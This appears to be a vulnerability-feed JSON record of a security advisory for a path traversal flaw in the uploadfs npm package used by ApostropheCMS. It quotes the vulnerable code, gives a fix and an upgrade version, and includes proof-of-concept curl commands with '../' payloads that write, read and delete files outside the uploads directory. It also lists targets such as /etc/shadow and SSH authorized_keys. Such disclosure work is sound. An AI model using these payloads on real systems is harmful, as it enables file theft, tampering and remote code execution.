{"id":"CVE-2026-113651","aliases":["GHSA-gmfx-5g6x-rr72"],"title":"ApostropheCMS: Path traversal in uploadfs","summary":"ApostropheCMS: Path traversal in uploadfs","severity":"low","cvss":3.3,"cwe":["CWE-22"],"vendor":"uploadfs","product":"uploadfs","ecosystem":"npm","affected":["uploadfs < 1.28.0"],"patched":["uploadfs 1.28.0"],"published":"2026-10-20","updated":"2026-10-20","sourceUpdated":"2026-10-20T18:22:01Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72"},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0"},{"url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72"}],"tags":["ghsa","npm","cve.org","exploit-available"],"exploitAvailable":true,"ssvc":{"exploitation":"poc","automatable":"no","technicalImpact":"partial","timestamp":"2026-10-20T17:20:04.228561Z"},"ingestedAt":"2026-10-20T17:12:53.603Z","slug":"CVE-2026-113651","body":"## Overview\n\n## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load < apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n<img width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" />\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" <<< \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n<img width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" />\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error('Path traversal blocked: target is outside the intended directory');\n  }\n  return resolved;\n}\n```\n\n## Affected packages\n\n- `uploadfs < 1.28.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `uploadfs 1.28.0`","depth":"twilight","depthScore":30,"depthScoreParts":{"impact":18.2,"likelihood":0,"exploitation":12,"ransomware":0},"changes":[{"seq":226059,"id":"CVE-2026-113651","ts":1792520130311,"field":"exploit_available","old":"false","new":"true"}]}